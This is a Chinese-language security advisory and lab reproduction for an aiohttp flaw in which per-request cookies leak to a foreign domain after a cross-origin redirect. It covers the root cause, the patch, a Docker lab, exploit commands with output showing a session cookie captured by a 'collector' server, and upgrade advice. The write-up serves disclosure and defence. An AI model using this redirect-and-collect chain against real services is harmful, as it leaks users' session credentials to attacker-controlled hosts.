跳转至

CVE-2026-47265 — aiohttp 跨域重定向时泄露请求级 Cookie

漏洞披露

通过 cookies= 关键字参数传递给 aiohttp.ClientSession 的请求级 Cookie,在发生跨域重定向后会被转发给外部域,从而泄露仅应发送至原始目标的凭证。

字段
项目 aiohttp
受影响组件 aio-libs/aiohttpClientSession 请求级 Cookie
严重级别 MEDIUM
CVSS 4.0 6.6 Medium (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
CWE CWE-346 — Origin Validation Error
受影响版本 < 3.14.0
修复版本 3.14.0(发布于 2026-06-01)
公告 GHSA-hg6j-4rv6-33pg / CVE-2026-47265

1. 漏洞概述

aiohttp 是 Python 生态中常用的异步 HTTP 客户端/服务端框架。当应用程序通过 cookies= 关键字参数向 ClientSession.get().post() 或底层 ._request() 方法传递请求级 Cookie,而服务器返回跨域重定向响应时,这些 Cookie 会被静默地转发给外部目标域。攻击者只要能够影响重定向目标——例如利用首跳服务器上的开放重定向、SSRF 漏洞或被入侵的 CDN 边缘节点——就能在重定向请求的 Cookie 头中收到受害方的请求级 Cookie 值。

存储在 CookieJar 中的会话级 Cookie 不受此漏洞影响,Cookie Jar 的域名过滤机制会正确拦截跨域请求。仅 cookies= 请求级参数受影响。

根本原因

文件: aiohttp/client.py 函数: ClientSession._requestwhile True 重定向循环(v3.13.5 约第 637 行)

重定向循环每次迭代时,该方法都会重建 all_cookies 并重新附加所有请求级 Cookie:

# Line 690-699 — runs on every loop iteration, including after a redirect
all_cookies = self._cookie_jar.filter_cookies(url)

if cookies is not None:                           # <-- cookies still set after cross-origin redirect
    tmp_cookie_jar = CookieJar(
        quote_cookie=self._cookie_jar.quote_cookie
    )
    tmp_cookie_jar.update_cookies(cookies)
    req_cookies = tmp_cookie_jar.filter_cookies(url)
    if req_cookies:
        all_cookies.load(req_cookies)             # <-- attacker-controlled origin receives cookies

跨域重定向时,代码会清除 authheaders[AUTHORIZATION]headers[COOKIE]headers[PROXY_AUTHORIZATION],但从未重置 cookies 变量:

# Line 893-897 — cross-origin redirect detected
if url.origin() != redirect_origin:
    auth = None
    headers.pop(hdrs.AUTHORIZATION, None)
    headers.pop(hdrs.COOKIE, None)
    headers.pop(hdrs.PROXY_AUTHORIZATION, None)
    # BUG: cookies = None  is missing here

cookies 未被清除,下一次迭代依然进入 if cookies is not None: 分支,将请求级 Cookie 附加到发往外部域的请求中。

补丁

修复在提交 f54c40851b0d6c4bbdab97ba518a223adda32478(从 d57efb05f5073071ceb2d3b35d72d9d0bc4512a2 挑选合并,PR #12550 "Drop cookies on redirect")中实施,只改了一行:

--- a/aiohttp/client.py
+++ b/aiohttp/client.py
@@ -971,6 +971,7 @@ async def _connect_and_send_request(
                         if url.origin() != redirect_origin:
                             auth = None
+                            cookies = None
                             headers.pop(hdrs.AUTHORIZATION, None)
                             headers.pop(hdrs.COOKIE, None)
                             headers.pop(hdrs.PROXY_AUTHORIZATION, None)

cookies 置为 None 后,下一次循环迭代中的 if cookies is not None: 判断为假,请求级 Cookie 不再附加到发往外部域的请求中。


2. 漏洞环境

复现环境是一个运行在私有桥接网络上的三容器 Docker Compose 栈。三个服务共用同一个基于 python:3.12-slim-bookworm 构建的镜像,漏洞版本的 aiohttp 通过构建参数固定。

下载所有环境文件:env.zip

单个文件: - env/Dockerfile - env/docker-compose.yml - env/config/victim_entrypoint.sh - env/config/victim_app.py - env/config/firsthop_app.py - env/config/collector_app.py

拓扑结构

容器 角色 网络 发布端口
cve-2026-47265-victim 漏洞版本 aiohttp 3.13.5 客户端;启动时生成新鲜密钥,并暴露 /trigger 控制端点 lab 桥接网络 127.0.0.1:9000 → 9000
cve-2026-47265-firsthop 源域 A — 请求级 Cookie 的合法作用域;/redirect 发出跨域 302 重定向至 collector lab 桥接网络 仅内部
cve-2026-47265-collector 外部域 B — 将每个入站 Cookie 头记录到 /loot/cookie_header.log lab 桥接网络 仅内部

受害客户端请求 http://firsthop:80/redirect,firsthop 响应 302 Location: http://collector:80/collect。两个主机名不同,aiohttp 将 url.origin() != redirect_origin 评估为真,进入存在漏洞的分支。

启动环境

docker compose -f env/docker-compose.yml up -d --build

确认存在漏洞的版本

容器健康后,验证固定版本号及新鲜密钥、空战利品文件是否就位:

curl -s http://127.0.0.1:9000/health \
  && docker exec cve-2026-47265-victim sh -c 'test -s /secret/cookie_value && echo secret-present' \
  && docker exec cve-2026-47265-collector sh -c 'test -f /loot/cookie_header.log && echo loot-ready'

预期输出:oksecret-presentloot-ready

在受害容器内检查固定的 aiohttp 版本:

docker exec cve-2026-47265-victim pip show aiohttp

预期输出:Version: 3.13.5

受害容器内 /secret/cookie_value 中的密钥是由 victim_entrypoint.sh 在每次容器启动时生成的随机 UUID 十六进制字符串,未烘焙到镜像中,每次重启后都会改变。


3. 漏洞利用方法

漏洞利用通过一个 shell 脚本(exploit/run.sh)完成:脚本向受害方的触发端点发起请求,然后读取 collector 记录的入站 Cookie 头。

下载利用脚本:exploit.zip

前置条件

开始前验证环境健康且战利品文件为空:

curl -s http://127.0.0.1:9000/health \
  && docker exec cve-2026-47265-victim sh -c 'test -s /secret/cookie_value && echo secret-present' \
  && docker exec cve-2026-47265-collector sh -c 'test -f /loot/cookie_header.log && echo loot-ready'

第一步 — 记录真实密钥

从受害方的受保护存储中读取新鲜密钥,这一值不应由利用脚本自身提供:

docker exec cve-2026-47265-victim cat /secret/cookie_value

在已验证的运行中,该命令返回 691e6dd64d84498595e22bf87cb860c3

第二步 — 执行利用

bash exploit/run.sh http://127.0.0.1:9000/trigger cve-2026-47265-collector /loot/cookie_header.log

脚本通过 curl 调用受害方的 /trigger 端点。受害方的 aiohttp 客户端随即以 cookies={"session": <secret>}http://firsthop:80/redirect 发出 GET 请求。firsthop 返回 302 Location: http://collector:80/collect。由于跨域重定向时 cookies 从未被清除,存在漏洞的客户端将请求级 Cookie 重新附加到发往 collector 域的后续请求上。

脚本打印 collector 记录的入站 Cookie 头。在已验证的运行中,输出如下:

[*] Triggering victim first-hop request -> cross-origin redirect
victim issued first-hop request with a per-request cookie; final response from chain: 'collected'
[*] Trigger returned; reading foreign-origin (collector) Cookie-header record
=== collector inbound Cookie header(s) (cross-origin observation point) ===
session=691e6dd64d84498595e22bf87cb860c3
=== end ===

证明漏洞已触发

证据来自独立观测,而非利用脚本自身的输出。验证通过特权通道直接进行:对 collector 容器执行 docker exec 读取战利品文件,再以同样方式读取受害方的真实密钥进行比对:

docker exec cve-2026-47265-victim cat /secret/cookie_value
# -> 691e6dd64d84498595e22bf87cb860c3

docker exec cve-2026-47265-collector cat /loot/cookie_header.log
# -> session=691e6dd64d84498595e22bf87cb860c3

两个值一致:受害方受保护存储中的 691e6dd64d84498595e22bf87cb860c3 与 collector 记录的入站 Cookie 头完全相同。利用脚本从未接触过该密钥,它只调用了 /trigger 并读取了 collector 从自身入站 HTTP 头写入的文件。原本作用于源域 A(firsthop)的密钥逐字出现在无关的外部域 B(collector)中,这只有在存在漏洞的重定向分支将请求级 Cookie 转发出去时才可能发生。

重启受害容器并观察新值,可确认密钥的新鲜性:

S1 = 296cd2d18c9f49c8856ce3cb8459736a  (第一次启动)
S2 = 691e6dd64d84498595e22bf87cb860c3  (重启后)

S1 != S2 证明密钥不可预测,无法被猜测或重放利用。

环境清理

完成后,停止并删除所有容器和卷:

docker compose -f env/docker-compose.yml down -v

4. 安全建议

修复方案

aiohttp 升级至 3.14.0 或更高版本。修复在 ClientSession._request 的跨域重定向分支中增加了一行 cookies = None,使后续迭代中的 if cookies is not None: 判断为假,请求级 Cookie 不再附加到外部域请求中。

pip install --upgrade "aiohttp>=3.14.0"

缓解措施 / 临时方案

无法立即升级时,可改为在 headers= 字典中显式传递 Cookie 头。跨域重定向逻辑会清除 headers[COOKIE],因此该路径在所有受影响版本中均安全:

# Safe in all versions — the Cookie header is explicitly cleared on cross-origin redirect
await session.get(url, headers={"Cookie": "session=SECRET"})

# Vulnerable in aiohttp < 3.14.0 — cookies= kwarg is NOT cleared
await session.get(url, cookies={"session": "SECRET"})

此临时方案需要手动拼接 Cookie 字符串,放弃了 cookies= API 的便利性,请根据实际场景权衡。

参考资料

  • GHSA-hg6j-4rv6-33pg 安全公告 — 主要公告;包含摘要、影响范围、临时方案和补丁链接
  • GitHub 公告 API JSON — 受影响版本(< 3.14.0)、首个修复版本(3.14.0)、CWE-346、CVSS 4.0 评分 6.6
  • 补丁提交 f54c408 — 单行修复(cookies = None),从 d57efb05 挑选合并至 3.x 稳定分支
  • 原始 PR #12550 — "Drop cookies on redirect",由 Sam Bull(Dreamsorcerer)提交
  • NVD CVE-2026-47265 — NVD 条目,确认 CWE-346,CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N(6.6 Medium)
  • aiohttp v3.14.0 发布页 — 发布日期 2026-06-01,确认修复版本
  • aiohttp 更新日志 — 3.14.0 条目:"Fixed per-request cookies not being dropped on cross-origin redirects"(issue #12550)